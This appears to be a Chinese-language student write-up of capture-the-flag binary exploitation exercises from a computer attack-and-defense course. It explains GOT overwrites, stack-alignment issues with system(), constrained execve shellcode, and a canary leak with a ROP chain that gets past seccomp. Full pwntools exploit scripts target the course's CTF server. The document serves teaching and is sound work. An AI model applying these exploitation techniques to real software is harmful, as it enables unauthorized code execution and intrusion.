電腦攻防 project1 = ###### tags: `Course - The Attack and Defense of Computers` ## 小組名單 - 第10組 108502530 曹鈞翔 108502532 丁麒源 108502533 廖宥霖 ## Helloworld_again ### Difference: system() and execve() execve(“/bin/sh”,0,0)是一個system call,它是在一個單獨的程序中執行,所以後來執行的程序會把之前的蓋掉,不管如何都回不到execve之後的code system(“/bin/sh”)的內容是fork + execve + waitpid,所以bin/sh會在一個新的thread中執行,執行完後可以回到原本system底下的code 至於為何helloowrld_again中,需要直接執行system那行,不能從function開始處執行,是因為system()函式中會調用到 movaps XMMWORD PTR [rsp+0x50], xmm0 這行asm code 在 64 bits 環境下,有些glibc版本會預設stack位址要對齊16bytes,即rsp的值要能被16整除,且rsp最後一碼必須為0 而helloowrld_again中的helloworld函式開頭的兩行指令就會造成rsp不對齊16bytes 若不直接跳到system那行而選擇從頭執行,可以在ret到這個函式前先呼叫另一個位址的ret,這樣可以讓rsp位址-8(pop),就符合對齊16bytes的規定了 ## Cyberpsychosis 透過把某個function的GOT改成system()的位址,在call該function的時候就會變成call system(),此時輸入'/bin/sh'就可以呼叫shell ### 已知條件 implants在 0x4050E0 每個index分別在implant + 80 * index implant name在implant + 80 * index + 32 透過disasmbly發現read()的GOT在implant + 80 * -2的位置(implant[-2]) 填入value前會call atol() atol()的GOT在implant name[-2] + 8 ### 取得read()的got address 要在show_info印出資訊,需要先填入value。 先進入edit_info輸入-2,輸入任意合理範圍的name和value,再進show_info輸入-2則會在limbs的位置印出read()的got address。 ### 計算system的address system address = read address - read offset + system offset ### 改寫GOT 進入edit_info輸入-2,在name輸入8bytes padding + system address,成功把atol()改寫成system(),在value輸入"/bin/sh",就會變成call system(/bin/sh),就可以開啟shell了。 ### Code ![](https://i.imgur.com/jFDwARD.png) ### 結果 ![](https://i.imgur.com/BXObH9e.png) ## Modohayaku ### 題目限制 輸入的字串中,從0開始包含0,每11個數往下數2位分別要是0xc, 0x87, 0x63,且字串中不能有NOP ### shellcode相關 為了避免0x63影響到正常需要執行的shellcode,在其後添加一個不影響正常執行的數字 並在shellcode中使用jmp指令來跳過填充指令,使最後執行時只會執行到我們需要的部分 我使用的syscall為sys_execve 要求為 rax = 59 rsi,rdx=0 rdi=要執行的檔案名稱 ### 找到bin/sh 透過gdb查找放在最後的bin/sh位置 ![](https://i.imgur.com/jWfQP0c.png) ![](https://i.imgur.com/nFGhdTS.png) 將rdi改成bin/sh位置即完成此題 ![](https://i.imgur.com/sgANWhv.png) ```python = context.arch='amd64' #r = process('./modohayaku') r = remote("ctf.adl.tw", 10002) myshellcode =bytearray( asm( """ nop nop nop nop xor rsi, rsi jmp $+8 or al, 0x0 nop nop nop nop mov rdi, rbp jmp $+8 or al, 0x0 nop nop nop nop sub rdi, 0x8c nop nop nop nop xor rsi, rsi jmp $+8 or al, 0x0 nop nop nop mov rdx, rsi mov al, 0x3b jmp $+7 push rax nop nop nop push rax syscall jmp $+7 xor rsi, rsi nop nop nop """ ) ) for i in range(0,len(myshellcode),11): if i<= len(myshellcode): if myshellcode[i] !=0xc: myshellcode[i] =0xc if i+1<= len(myshellcode): if myshellcode[i+1] !=0x87: myshellcode[i+1] =0x87 if i+2<= len(myshellcode): if myshellcode[i+2] !=0x63: myshellcode[i+2] =0x63 if i+3 != len(myshellcode): if myshellcode[i+3] !=0x13: myshellcode[i+3] =0x13 myshellcode.pop() bin = b'/bin/sh\0' myshellcode = myshellcode+bin myshellcode = bytes(myshellcode) sendstr = myshellcode+b'\x01'*(0xb0-len(myshellcode)) bytesendstr = bytearray(sendstr) for i in range(77,len(bytesendstr)-2,11): if i<= len(bytesendstr): if bytesendstr[i] !=0xc: bytesendstr[i] =0xc if i+1<= len(bytesendstr): if bytesendstr[i+1] !=0x87: bytesendstr[i+1] =0x87 if i+2<= len(bytesendstr): if bytesendstr[i+2] !=0x63: bytesendstr[i+2] =0x63 ans = bytes(bytesendstr) r.recvuntil('are!!!') r.send(ans) r.interactive() ``` ## Test Subject 087 ### 保護機制 * gef checksec() ![](https://i.imgur.com/ENoRako.png) * seccomp-tools ![](https://i.imgur.com/jYUJBIq.png) ### 解題過程 1. 該題有canary和PIE,所以需要尋找漏洞來破解,在察看了經過反編譯的程式碼後,發現該程式有個地方會跟使用者要一個最長127 byte的字串,但buffer只有24 byte,所以可以用來overflow。 ![](https://i.imgur.com/jcgE4Sn.png) 2. 而這個地方是個迴圈,跟使用者要輸入後會把剛剛輸入的東西印出來,所以可以利用這個特性把canary找出來,在觀察程式碼後發現canary就在buffer隔壁,所以只要輸入24 + 1個byte就能印出canary (加一個byte是因為canary的尾數是00,會終止printf)。 3. 下2次迴圈再如法炮製,把main的stack base和return address都找出來,如此便能確定stack和text的offset,最後一次迴圈把return address換成PLT中`puts()`的位置,並使用gadget把參數改成`puts()`在GOT的位置,目標是讓程式流程跳到`puts()`並洩漏出library的地址。 4. 在得到library的地址後我原本以為只要overflow成`system("/bin/sh")`就結束了,但是我遇到了bad system call這個錯誤,一時不知道該如何是好,等到Demo時助教給了提示後我才注意到原來這題有seccomp,所以`system()`是不能用的。 5. 然後我想說換成c內建的`open()`來讀檔案應該就行了,但試了之後發現c其實用的是`openat`,所以只能自行呼叫`open`才能解開此題,問題是我用ROPgadget沒有找到`syscall; ret`這個gadget,卡了一下,後來發現要使用`--multibr`這個參數才能找到同時有`syscall`和`ret`的gadget。 6. 由於程式中的`read()`只能讀127個byte,所以我就先讓程式流程跳到`read()`並給一個比較大的`count`參數,好讓我的payload可以全部寫進去。 7. 有個要注意的地方是linux的前三個file descriptor分別是stdin, stdout和stderr,所以`read()`的`fd`參數要設成3。 * 以下是找到的flag。 ![](https://i.imgur.com/cLJEEvx.png) ### pwn tools code ```python= # References: # PWN 入門 - rop, gadget 是什麼? # https://tech-blog.cymetrics.io/posts/crystal/pwn-intro-2/ # pwn题绕过canary保护机制新手版 # https://blog.csdn.net/RChaos/article/details/105147321 # 2020高校战役 # https://www.cnblogs.com/countfatcode/p/12516091.html from pwn import * context(os="linux", arch="amd64") context.log_level = "INFO" # p = process("Test_Subject_087") p = remote('ctf.adl.tw', 10005) exe = ELF("Test_Subject_087") libc = ELF("libc-2.31.so") # in code challenge_next = 0x1dfb g_pop_rdi_ret = 0x1eb3 # in library g_syscall_ret = 0x630a9 g_pop_rax_ret = 0x36174 g_pop_rsi_ret = 0x2601f g_pop_rdx_ret = 0x142c92 puts_got = exe.got['puts'] puts_plt = exe.plt['puts'] read_plt = exe.plt['read'] challenge = exe.sym['challenge'] canary = 0 main_ebp = 0 code_base = 0 is_canary_got = False is_stack_got = False is_add_got = False is_libc_got = False # insert 48 strings with length 127 to something_list # 48 can be any number, the larger, the better for i in range(48): p.sendafter(b'>', b'3') p.sendafter(b'>', b'2') p.sendafter(b'>', b'a' * 127) # loose 3 times to enable hint mode for i in range(28): p.sendafter(b'>', b'1') # get canary and code base address then call puts(puts@got.plt) p.sendafter(b'>', b'y') for i in range(8): p.recvuntil(flat(b'has ')) len = int(p.recvuntil(b' ')) if len == 127: if is_canary_got == False: p.sendafter(b'>', b'a' * 24 + b'b') p.recvuntil(b'aab') canary = u64(p.recv(7).rjust(8, b'\x00')) is_canary_got = True print("canary: " + hex(canary)) elif is_canary_got == True: if is_stack_got == False: p.sendafter(b'>', b'a' * 31 + b'b') p.recvuntil(b'aab') main_ebp = u64(p.recv(6).ljust(8, b'\x00')) is_stack_got = True print("main ebp: " + hex(main_ebp)) elif is_stack_got == True: if is_add_got == False: p.sendafter(b'>', b'a' * 39 + b'b') p.recvuntil(b'aab') code_base = u64(p.recv(6).ljust(8, b'\x00'))\ - challenge_next is_add_got = True print("code base: " + hex(code_base)) elif is_add_got == True: payload = b'a' * 24 + p64(canary) + b'a' * 8\ + p64(g_pop_rdi_ret + code_base)\ + p64(puts_got + code_base)\ + p64(puts_plt + code_base)\ + p64(challenge + code_base) p.sendafter(b'>', payload) is_libc_got = True elif len < 127: p.sendafter(b'>', b'1') # receive lose image p.recvuntil(b'You lose.\n') for i in range(25): p.recvline() # get address in got libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['puts'] open_libc = libc.sym['open'] print("libc: " + hex(libc.address)) if (is_canary_got == True and is_stack_got == True and is_add_got == True and is_libc_got == True): print("All got.") # read() p.sendafter(b'>', b'y') for i in range(8): p.recvuntil(flat(b'has ')) len = int(p.recvuntil(b' ')) if len == 127: payload = b'a' * 24 + p64(canary) + b'a' * 8\ + p64(g_pop_rdi_ret + code_base)\ + p64(0)\ + p64(g_pop_rsi_ret + libc.address)\ + p64(main_ebp + 0x40)\ + p64(g_pop_rdx_ret + libc.address)\ + p64(184)\ + p64(read_plt + code_base) p.sendafter(b'>', payload) elif len < 127: p.sendafter(b'>', b'1') # receive lose image p.recvuntil(b'You lose.\n') for i in range(25): p.recvline() # open() payload = p64(g_pop_rdi_ret + code_base)\ + p64(main_ebp + 0xd8)\ + p64(g_pop_rsi_ret + libc.address)\ + p64(0)\ + p64(g_pop_rdx_ret + libc.address)\ + p64(0)\ + p64(g_pop_rax_ret + libc.address)\ + p64(2)\ + p64(g_syscall_ret + libc.address) # read() payload += p64(g_pop_rdi_ret + code_base)\ + p64(3)\ + p64(g_pop_rsi_ret + libc.address)\ + p64(main_ebp + 0xf8)\ + p64(g_pop_rdx_ret + libc.address)\ + p64(64)\ + p64(read_plt + code_base) # puts() payload += p64(g_pop_rdi_ret + code_base)\ + p64(main_ebp + 0xf8)\ + p64(puts_plt + code_base)\ + b'/home/test_subject_087/flag\x00' p.send(payload) p.interactive() ```